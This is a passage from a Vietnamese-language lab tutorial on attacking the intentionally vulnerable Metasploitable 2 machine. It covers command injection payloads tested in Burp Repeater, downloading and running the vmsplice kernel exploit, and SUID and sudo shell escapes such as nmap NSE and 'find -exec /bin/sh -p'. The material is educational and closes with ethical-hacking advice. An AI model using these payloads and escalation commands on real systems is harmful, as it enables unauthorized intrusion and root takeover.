- Chuyển sang tab “Repeater”. Tại đây, bạn có thể sửa đổi giá trị của tham số chứa địa chỉ IP (ví dụ: target_host hoặc tương tự) bằng các payload Command Injection đã đề cập ở trên (ví dụ: 8.8.8.8 ; whoami).
- Nhấn “Send”. Quan sát response từ server trong Repeater để xem lệnh có được thực thi không. Nếu output của lệnh (whoami) xuất hiện trong response, đó là dấu hiệu của lỗ hổng.40
- Burp Suite Professional có tính năng Scanner tự động, có thể phát hiện các lỗ hổng Command Injection bằng cách gửi nhiều payload khác nhau.40
Command Injection là một lỗ hổng nghiêm trọng vì nó có thể cho phép kẻ tấn công thực thi lệnh trực tiếp trên server. Như 33, và 33 đề cập, một video hướng dẫn đã chỉ ra cách sử dụng command injection trên Mutillidae để có được shell quản trị trên một Windows web server. Mặc dù Metasploitable 2 là Linux, nguyên tắc khai thác và hậu quả tiềm tàng (chiếm quyền server) là tương tự.
- Video YouTube minh họa: 40 (Sử dụng Burp Repeater để test Command Injection), 58 (Blind OS command injection với OAST), 54 (Lý thuyết về Command Injection). Video cụ thể về Mutillidae command injection trên Metasploitable 2 có thể được tìm thấy trong.33
Phần 5: Leo Thang Đặc Quyền (Privilege Escalation) trên Metasploitable 2
Sau khi đã có được quyền truy cập ban đầu vào hệ thống Metasploitable 2 (thường là với quyền của một user thường, ví dụ www-data từ một web shell, hoặc msfadmin từ một dịch vụ bị khai thác), mục tiêu tiếp theo của kẻ tấn công là leo thang đặc quyền (Privilege Escalation – PrivEsc). Mục đích là để đạt được quyền hạn cao nhất trên hệ thống, thường là quyền root trên các hệ thống Linux.42
5.1. Giới thiệu về Leo thang Đặc quyền (Privilege Escalation – PrivEsc)
Leo thang đặc quyền là quá trình khai thác các lỗi, điểm yếu trong thiết kế hoặc cấu hình sai của hệ điều hành hoặc ứng dụng để giành được quyền truy cập cao hơn so với quyền hạn ban đầu.44
- Tại sao cần Leo thang Đặc quyền?
- Đọc/ghi các file nhạy cảm (ví dụ: /etc/shadow, /etc/sudoers).
- Cài đặt backdoor hoặc duy trì truy cập bền vững.
- Vô hiệu hóa các biện pháp bảo mật.
- Truy cập vào các phần khác của mạng mà user thường không thể.
- Các loại Leo thang Đặc quyền 43:
- Vertical Privilege Escalation: Nâng cao quyền hạn của tài khoản hiện tại (ví dụ: từ user thường lên root). Đây là mục tiêu chính của chúng ta trong lab này.
- Horizontal Privilege Escalation: Giành quyền truy cập vào tài khoản của một user khác có cùng mức đặc quyền.
- Các vector Leo thang Đặc quyền phổ biến trên Linux 44:
- Kernel Exploits: Khai thác lỗ hổng trong nhân hệ điều hành.
- SUID/SGID Binaries: Lạm dụng các file thực thi có bit SUID hoặc SGID được đặt không đúng cách.
- Sudo Misconfigurations: Lợi dụng cấu hình sai trong file /etc/sudoers.
- Cron Jobs: Khai thác các tác vụ tự động (cron jobs) chạy với quyền root mà user thường có thể sửa đổi.
- Services Running as Root: Khai thác các dịch vụ chạy với quyền root và có lỗ hổng hoặc cấu hình yếu.
- Weak File Permissions: Quyền ghi vào các file hoặc thư mục nhạy cảm.
- Stored Passwords/Keys: Tìm kiếm mật khẩu hoặc khóa riêng tư được lưu trữ không an toàn.
5.2. Thu thập Thông tin Hệ thống cho PrivEsc
Khi đã có một shell trên Metasploitable 2 (ví dụ, với quyền msfadmin hoặc www-data), bước đầu tiên của leo thang đặc quyền là thu thập thông tin chi tiết về hệ thống.
- Thông tin User hiện tại:
- whoami: Hiển thị username hiện tại.46
- id: Hiển thị user ID (UID), group ID (GID), và các group mà user thuộc về.46
- Thông tin Hệ điều hành và Kernel: Đây là thông tin cực kỳ quan trọng để tìm kiếm các kernel exploit tương thích.
- uname -a: Hiển thị tất cả thông tin về kernel, bao gồm tên kernel, tên host, phiên bản kernel release, phiên bản kernel version, kiến trúc máy, và tên hệ điều hành.44
Trên Metasploitable 2, kết quả thường là: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux.13
Phiên bản kernel 2.6.24 là thông tin then chốt. - cat /etc/issue hoặc lsb_release -a: Hiển thị thông tin về bản phân phối Linux (ví dụ: Ubuntu 8.04).46
- Thông tin Tiến trình:
- ps aux hoặc ps -ef: Liệt kê tất cả các tiến trình đang chạy. Tìm kiếm các tiến trình chạy với quyền root có thể có lỗ hổng.
- Quyền Sudo:
- sudo -l: Kiểm tra xem user hiện tại có thể chạy những lệnh nào với sudo và có cần nhập mật khẩu không.46
Đối với user msfadmin trên Metasploitable 2, kết quả của sudo -l thường cho thấy user này có thể chạy MỌI lệnh với quyền root mà KHÔNG CẦN mật khẩu ((ALL : ALL) NOPASSWD: ALL).25 Đây là một “cửa hậu” cực lớn để leo thang đặc quyền.
- Tìm kiếm các file SUID/SGID: (Sẽ được đề cập chi tiết ở mục 5.4)
- Kiểm tra Cron Jobs:
- cat /etc/crontab
- ls -la /etc/cron.*
Tìm các script được thực thi bởi cron job với quyền root mà user hiện tại có quyền ghi.
Việc thu thập thông tin kỹ lưỡng ban đầu, đặc biệt là phiên bản kernel uname -a, là nền tảng để lựa chọn phương pháp leo thang đặc quyền phù hợp.
5.3. Khai thác Lỗ hổng Kernel (Linux Kernel 2.6.24)
Metasploitable 2 chạy kernel Linux phiên bản 2.6.24, một phiên bản khá cũ và có nhiều lỗ hổng đã được công bố.
- Cảnh báo: Khai thác kernel có thể không ổn định và có nguy cơ gây crash hệ thống. Luôn tạo snapshot máy ảo trước khi thử nghiệm các kernel exploit.44 Trong môi trường pentest thực tế, kernel exploit thường là giải pháp cuối cùng do rủi ro cao.
- Tìm kiếm Exploit:
- Sử dụng SearchSploit trên Kali Linux (đây là bản offline của Exploit Database):
Bash
searchsploit Linux Kernel 2.6.24
44
Lệnh này sẽ liệt kê các exploit đã biết cho phiên bản kernel này. - Các nguồn như Exploit Database (exploit-db.com) và CVE Details (cvedetails.com) cũng là nơi tốt để tìm thông tin.47
- Một lỗ hổng nổi tiếng ảnh hưởng đến các kernel 2.6.x gần với 2.6.24 là vmsplice (CVE-2008-0600), được đề cập trong EDB-ID: 5093, nhắm vào kernel 2.6.23 < 2.6.24.47
- Ví dụ: Khai thác vmsplice (EDB-ID: 5093) 47:
Mã khai thác này được viết bằng C và cần được biên dịch.
- Trên Kali Linux, lấy mã nguồn exploit:
Bash
searchsploit -m 5093
Lệnh này sẽ sao chép file 5093.c vào thư mục hiện tại của bạn. - Biên dịch exploit:
Metasploitable 2 có thể không có sẵn gcc hoặc các công cụ build cần thiết. Do đó, nên biên dịch exploit trên Kali Linux (nếu kiến trúc tương thích, trong trường hợp này là i386/i686) hoặc cross-compile. Giả sử bạn biên dịch trực tiếp trên một máy Linux i386 tương tự:
Bash
gcc 5093.c -o vmsplice_exploit
47 - Chuyển file exploit đã biên dịch (vmsplice_exploit) sang Metasploitable 2:
Có nhiều cách:
- Nếu bạn đã có shell trên Metasploitable 2 (ví dụ, qua Netcat), bạn có thể thiết lập một web server đơn giản trên Kali để host file exploit, sau đó dùng wget hoặc curl trên Metasploitable 2 để tải về.
- Trên Kali (trong thư mục chứa vmsplice_exploit): python3 -m http.server 8000
- Trên Metasploitable 2 (trong shell): wget http://<IP_KALI_LINUX>:8000/vmsplice_exploit
- Sử dụng scp nếu SSH có thể truy cập được.
- Qua các payload upload của Metasploit nếu bạn đang dùng session Meterpreter.
- Thực thi exploit trên Metasploitable 2:
Trong shell trên Metasploitable 2, sau khi đã tải file exploit về (ví dụ, vào /tmp):
Bash
cd /tmp
chmod +x vmsplice_exploit
./vmsplice_exploit5. **Kết quả:** Nếu exploit thành công, nó sẽ cung cấp cho bạn một shell với quyền `root`.47# whoamiroot# iduid=0(root) gid=0(root) groups=0(root)“`
- Khai thác Udev (ví dụ: CVE-2009-1185):
- Udev là trình quản lý thiết bị cho nhân Linux. Các phiên bản cũ của udev (trước 1.4.1) trên các kernel cũ như 2.6.24 có thể chứa các lỗ hổng leo thang đặc quyền.
- 25 và 7 đề cập đến việc khai thác các dịch vụ khác nhau trên Metasploitable 2 nhưng không đi sâu vào một exploit udev cụ thể. 59 mô tả một module Metasploit mới cho udev persistence, nhưng nó yêu cầu quyền root sẵn có.
- Cần tìm kiếm các exploit cụ thể cho udev trên kernel 2.6.24, ví dụ: searchsploit udev netlink. Một exploit phổ biến là EDB-ID 8478 (udev < 1.4.1 – NETLINK userspace Local Root Exploit) hoặc EDB-ID 8572 (udev Local Privilege Escalation Exploit). Quá trình biên dịch và thực thi tương tự như với vmsplice.
Kernel exploits là một công cụ mạnh mẽ nhưng cũng tiềm ẩn rủi ro. Việc lựa chọn đúng exploit, biên dịch và thực thi thành công đòi hỏi kiến thức và sự cẩn trọng.
- Video YouTube minh họa: 60 và 61 trình bày các kỹ thuật leo thang đặc quyền trên Linux, có thể không phải là các kernel exploit cụ thể này nhưng cho thấy quy trình chung và tư duy khi tiếp cận.
5.4. Khai thác Binary SUID/SGID
Các file thực thi (binary) với bit SUID (Set User ID) hoặc SGID (Set Group ID) được đặt có thể là một vector leo thang đặc quyền nếu chúng được cấu hình không đúng cách hoặc bản thân binary đó có thể bị lạm dụng.
- Giới thiệu SUID/SGID:
- SUID: Khi một file thực thi có bit SUID được chạy, tiến trình sẽ chạy với quyền của chủ sở hữu file (owner), bất kể ai là người thực thi nó. Nếu chủ sở hữu là root, lệnh sẽ chạy với quyền root.50
- SGID: Tương tự, tiến trình sẽ chạy với quyền của nhóm sở hữu file (group owner).
- Bit SUID được biểu thị bằng chữ ‘s’ ở vị trí quyền thực thi của owner (ví dụ: -rwsr-xr-x). Bit SGID được biểu thị bằng chữ ‘s’ ở vị trí quyền thực thi của group (ví dụ: -rwxr-sr-x).
- Tìm kiếm các binary SUID/SGID trên Metasploitable 2:
Từ shell trên Metasploitable 2, sử dụng lệnh find:
- Tìm các file SUID:
Bash
find / -type f -perm -04000 -ls 2>/dev/null
Hoặc:
Bash
find / -perm -u=s -type f 2>/dev/null
50 - Tìm các file SGID:
Bash
find / -type f -perm -02000 -ls 2>/dev/null
Hoặc:
Bash
find / -perm -g=s -type f 2>/dev/null
Lệnh này sẽ tìm tất cả các file (-type f) có bit SUID (-perm -04000 hoặc -perm -u=s) hoặc SGID (-perm -02000 hoặc -perm -g=s) được đặt, bắt đầu từ thư mục gốc (/). 2>/dev/null dùng để ẩn các thông báo lỗi (ví dụ: permission denied khi truy cập một số thư mục).
- Khai thác các binary SUID bị cấu hình sai (Tham khảo GTFOBins):
GTFOBins (gtfobins.github.io) là một tài liệu tham khảo vô giá, liệt kê các Unix binaries có thể được lạm dụng để bypass các giới hạn bảo mật cục bộ hoặc leo thang đặc quyền nếu chúng có SUID bit hoặc được phép chạy qua sudo.45
Sau khi có danh sách các file SUID, hãy kiểm tra xem có file nào trong số đó được liệt kê trên GTFOBins không.
- Ví dụ với nmap (nếu nmap có SUID root và là phiên bản cũ):
Các phiên bản Nmap cũ hơn (từ 2.02 đến 5.21) có chế độ tương tác (–interactive) có thể được sử dụng để thực thi lệnh shell:
Bash
nmap –interactive
nmap>!sh
53
Đối với các phiên bản Nmap mới hơn có SUID (hoặc được chạy qua sudo), có thể sử dụng Nmap Scripting Engine (NSE) để thực thi lệnh. Kỹ thuật này được mô tả trong 45, và 45:
Bash
TF=$(mktemp)
echo ‘os.execute(“/bin/sh”)’ > $TF
nmap –script=$TF
Nếu nmap chạy với SUID root, shell được tạo ra cũng sẽ có quyền root. - Ví dụ với find (nếu find có SUID root):
Lệnh find có tùy chọn -exec cho phép thực thi một lệnh khác.
Bash
find. -exec /bin/sh -p \; -quit
Tùy chọn -p với sh cố gắng giữ lại đặc quyền (nếu có). - Ví dụ với ip (nếu ip có SUID root và kernel hỗ trợ network namespaces CONFIG_NET_NS=y):
Lệnh ip có thể được dùng để tạo network namespace và thực thi lệnh bên trong đó với quyền cao hơn.
Bash
# Giả sử file SUID ip nằm ở./ip (đã copy và set SUID)
./ip netns add foo./ip netns exec foo /bin/sh -p./ip netns delete foo“`52
- Các binary khác: Kiểm tra các binary phổ biến như cp, mv, tar, awk, perl, python, bash, more, less, vi/vim, nano nếu chúng có SUID root. Nhiều trong số này có thể bị lạm dụng để đọc/ghi file tùy ý hoặc thực thi lệnh.
Không phải mọi binary có SUID đều là lỗ hổng. Các lệnh như passwd, su, sudo cần SUID root để hoạt động đúng chức năng của chúng.50 Lỗ hổng xảy ra khi các binary mạnh mẽ (như trình soạn thảo, trình thông dịch, công cụ mạng) được gán SUID một cách không cần thiết hoặc có chứa các chức năng cho phép “escape” ra shell. GTFOBins là kim chỉ nam để xác định các trường hợp này.
5.5. Các Kỹ thuật Leo thang Đặc quyền Khác (Ngắn gọn)
- Sudo Misconfigurations:
- Như đã đề cập, user msfadmin trên Metasploitable 2 có quyền sudo để chạy bất kỳ lệnh nào với quyền root mà không cần mật khẩu ((ALL : ALL) NOPASSWD: ALL).25
- Đây là cách leo thang đặc quyền đơn giản nhất nếu bạn có shell của msfadmin:
Bash
sudo su
Hoặc:
Bash
sudo /bin/bash
Lệnh sudo -l sẽ xác nhận điều này. - Cron Jobs:
- Kiểm tra các file trong /etc/crontab, /etc/cron.d/, /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, /etc/cron.monthly/.
- Nếu một script được thực thi bởi cron job với quyền root, và user hiện tại có quyền ghi vào script đó (hoặc thư mục chứa script), user có thể sửa đổi script để chèn lệnh độc hại, lệnh này sẽ được thực thi với quyền root vào lần chạy cron job tiếp theo.
- Services chạy với quyền root và có lỗ hổng/cấu hình yếu:
- Một số dịch vụ mạng đã được khai thác ở Phần 3 (ví dụ: vsFTPd, UnrealIRCd, Samba) đã trực tiếp cho quyền root.
- Nếu một dịch vụ khác chạy với quyền root và có lỗ hổng (ví dụ: buffer overflow, command injection cục bộ) hoặc cấu hình cho phép user thường tương tác theo cách không an toàn, nó có thể là một vector leo thang.
- Metasploit’s Local Exploits và getsystem:
- Metasploit Framework có nhiều module exploit/linux/local/… được thiết kế để khai thác các lỗ hổng cục bộ nhằm leo thang đặc quyền trên Linux.
- Lệnh getsystem trong Meterpreter (chủ yếu dùng cho Windows) sử dụng nhiều kỹ thuật để cố gắng leo thang lên quyền SYSTEM.42 Mặc dù không có lệnh
getsystem tương đương trực tiếp cho Linux Meterpreter, các module local exploit thực hiện chức năng tương tự.
Việc user msfadmin có cấu hình sudo “NOPASSWD: ALL” là một điểm yếu cố ý rất lớn trên Metasploitable 2, giúp người học dễ dàng đạt được quyền root sau khi có được shell của user này. Đây là một bài học về tầm quan trọng của việc cấu hình sudo một cách cẩn thận theo nguyên tắc đặc quyền tối thiểu.
Dưới đây là bảng checklist cơ bản cho việc leo thang đặc quyền trên Linux:
Bảng 5: Checklist Leo Thang Đặc Quyền Cơ Bản trên Linux
| Hạng mục Kiểm tra | Lệnh/Công cụ Ví dụ | Điều cần Tìm kiếm/Lưu ý |
| Thông tin Kernel & OS | uname -acat /etc/issuelsb_release -a | Phiên bản kernel (để tìm kernel exploit), tên và phiên bản bản phân phối. |
| Quyền Sudo | sudo -l | Các lệnh user hiện tại có thể chạy với sudo, có cần mật khẩu không. Tìm các lệnh có thể bị lạm dụng để spawn shell (tham khảo GTFOBins/Sudo). |
| Binary SUID/SGID | find / -perm -u=s -type f 2>/dev/nullfind / -perm -g=s -type f 2>/dev/null | Các binary có SUID/SGID root. Kiểm tra xem chúng có thể bị lạm dụng để thực thi lệnh hoặc đọc/ghi file không (tham khảo GTFOBins/SUID). |
| Cron Jobs | cat /etc/crontabls -la /etc/cron.*find /etc/cron* -perm -o+w -type f | Các script chạy bởi cron với quyền root mà user hiện tại có thể ghi. Các thư mục cron world-writable. |
| Dịch vụ Đang Chạy | ps auxnetstat -tulpn | Các dịch vụ chạy với quyền root, các dịch vụ lắng nghe trên cổng lạ, các dịch vụ có phiên bản cũ/dễ bị tấn công. |
| Mật khẩu/Keys Yếu | cat /etc/passwdls -la ~/.*historyfind / -name “*.bak” -o -name “*.old” | Mật khẩu dễ đoán, mật khẩu lưu trong script/config file, private keys không được bảo vệ, file backup chứa thông tin nhạy cảm. |
| Quyền Ghi Không An Toàn | find / -perm -o+w -type d 2>/dev/nullfind / -perm -o+w -type f 2>/dev/null | Các thư mục hoặc file quan trọng (ví dụ: trong /etc, /usr/bin) mà user thường có quyền ghi. |
Phần 6: Kết Luận và Hướng Phát Triển Tiếp Theo
Qua các phần trên, chúng ta đã cùng nhau xây dựng một môi trường lab ảo, thực hiện các bước thu thập thông tin, khai thác một số lỗ hổng dịch vụ mạng và ứng dụng web phổ biến trên Metasploitable 2 bằng Kali Linux, và tìm hiểu các kỹ thuật leo thang đặc quyền cơ bản.
6.1. Tóm tắt các Kỹ thuật đã học
- Thiết lập môi trường lab ảo: Bao gồm cài đặt VirtualBox, import và cấu hình máy ảo Kali Linux (máy tấn công) và Metasploitable 2 (máy mục tiêu), đặc biệt là cấu hình mạng NAT Network để các máy ảo có thể giao tiếp với nhau một cách an toàn và cô lập.
- Thu thập thông tin (Reconnaissance): Sử dụng công cụ Nmap để quét cổng, phát hiện dịch vụ, phiên bản phần mềm và hệ điều hành của Metasploitable 2. Đây là bước nền tảng để xác định các vector tấn công.
- Khai thác lỗ hổng dịch vụ mạng với Metasploit Framework: Tìm hiểu cách sử dụng msfconsole, tìm kiếm module exploit, thiết lập các tùy chọn (RHOSTS, payload), và thực thi exploit để chiếm quyền truy cập vào các dịch vụ như vsFTPd, UnrealIRCd, Samba.
- Khai thác lỗ hổng ứng dụng web:
- SQL Injection (SQLi): Thực hành tấn công SQL Injection thủ công trên DVWA để hiểu cơ chế, sau đó sử dụng công cụ tự động SQLMap để khai thác hiệu quả hơn, bao gồm việc trích xuất dữ liệu từ cơ sở dữ liệu.
- Command Injection: Khai thác lỗ hổng Command Injection trên Mutillidae để thực thi lệnh tùy ý trên server, bao gồm cả việc tạo reverse shell để có được một phiên làm việc từ xa.
- Leo thang đặc quyền (Privilege Escalation): Sau khi có quyền truy cập ban đầu, tìm hiểu các phương pháp để nâng quyền lên root trên Metasploitable 2, bao gồm khai thác lỗ hổng kernel, lạm dụng các binary SUID/SGID, và lợi dụng cấu hình sudo yếu.
6.2. Tầm quan trọng của Hacking có Đạo đức và Báo cáo có Trách nhiệm
Điều cực kỳ quan trọng cần nhấn mạnh là tất cả các kỹ thuật và công cụ được trình bày trong hướng dẫn này chỉ nhằm mục đích học tập, nghiên cứu và thực hành trong môi trường lab được kiểm soát. Việc sử dụng các kiến thức này để tấn công hoặc truy cập trái phép vào bất kỳ hệ thống nào mà không có sự cho phép rõ ràng là hành vi vi phạm pháp luật và phi đạo đức.
Các chuyên gia bảo mật chân chính (hacker mũ trắng) sử dụng kỹ năng của mình để giúp các tổ chức tăng cường khả năng phòng thủ, tìm ra các điểm yếu trước khi kẻ xấu có thể khai thác chúng. Nếu bạn phát hiện ra một lỗ hổng bảo mật trong một hệ thống thực tế, hãy tìm hiểu và tuân theo quy trình tiết lộ lỗ hổng có trách nhiệm (Responsible Disclosure), thường bao gồm việc thông báo riêng cho chủ sở hữu hệ thống hoặc nhà cung cấp phần mềm và cho họ thời gian để khắc phục trước khi công bố thông tin.
6.3. Các Bước Tiếp Theo để Học tập
Hoàn thành bài lab này chỉ là bước khởi đầu trên hành trình học về an ninh mạng và kiểm thử thâm nhập. Dưới đây là một số gợi ý để bạn tiếp tục phát triển kiến thức và kỹ năng:
- Thực hành thêm trên Metasploitable 2: Máy ảo này còn rất nhiều lỗ hổng khác chưa được đề cập. Hãy tự mình khám phá, sử dụng Nmap để quét kỹ hơn, tìm kiếm thông tin về các dịch vụ khác và cố gắng khai thác chúng.
- Thử thách với các máy ảo dễ bị tấn công khác:
- Metasploitable 3: Phiên bản nâng cấp của Metasploitable 2, với các lỗ hổng hiện đại hơn và có cả phiên bản Windows.
- OWASP Broken Web Apps (OWASP BWA): Một bộ sưu tập các ứng dụng web cố ý dễ bị tấn công, rất tốt để thực hành pentest web.
- VulnHub (vulnhub.com): Một kho lưu trữ khổng lồ các máy ảo được thiết kế để thực hành CTF (Capture The Flag) và pentest, với nhiều mức độ khó khác nhau.
- Tham gia các cuộc thi Capture The Flag (CTF): CTF là một cách tuyệt vời để rèn luyện kỹ năng giải quyết vấn đề, học hỏi các kỹ thuật mới và giao lưu với cộng đồng.19 Các nền tảng như PicoCTF, CTFtime.org, Hack The Box, TryHackMe cung cấp nhiều thử thách thú vị.
- Tìm hiểu sâu hơn về các chủ đề cụ thể:
- Reverse Engineering và Exploit Development: Học cách phân tích mã nhị phân, tìm lỗ hổng buffer overflow, use-after-free, và tự viết mã khai thác.
- An ninh mạng không dây (Wireless Security).
- An ninh đám mây (Cloud Security).
- Pháp y kỹ thuật số (Digital Forensics) và Phản ứng sự cố (Incident Response).
- Nghiên cứu các tài liệu tiêu chuẩn và danh sách lỗ hổng:
- OWASP Top 10: Danh sách 10 rủi ro bảo mật ứng dụng web nghiêm trọng nhất, được cập nhật định kỳ.14
- Common Weakness Enumeration (CWE).
- Common Vulnerabilities and Exposures (CVE).
- Lĩnh vực an ninh mạng luôn thay đổi với các lỗ hổng mới được phát hiện và các công cụ mới ra đời hàng ngày. Do đó, việc duy trì tinh thần học hỏi liên tục, tự nghiên cứu và cập nhật kiến thức là yếu tố then chốt để thành công.14
6.4. Tài liệu Tham khảo và Nguồn Học liệu Bổ Sung
- OWASP (Open Web Application Security Project): https://owasp.org – Nguồn tài liệu, công cụ và cộng đồng hàng đầu về an ninh ứng dụng web.
- Exploit Database: https://www.exploit-db.com – Cơ sở dữ liệu lớn về các mã khai thác đã được công bố.
- Rapid7 Metasploit Documentation: https://docs.rapid7.com/metasploit/ – Tài liệu chính thức về Metasploit Framework.11
- Nmap Official Documentation: https://nmap.org/book/ – Hướng dẫn sử dụng Nmap chi tiết.
- GTFOBins: https://gtfobins.github.io/ – Danh sách các Unix binaries có thể bị lạm dụng cho leo thang đặc quyền.
- PortSwigger Web Security Academy: https://portswigger.net/web-security – Nền tảng học tập trực tuyến miễn phí tuyệt vời về các lỗ hổng web, được cung cấp bởi những người tạo ra Burp Suite.54
- Các blog và kênh YouTube về an ninh mạng uy tín: Có rất nhiều chuyên gia chia sẻ kiến thức qua blog và video. Hãy tìm kiếm và theo dõi những nguồn chất lượng.
Chúc bạn thành công trên con đường chinh phục kiến thức an ninh mạng!





Bình luận về bài viết này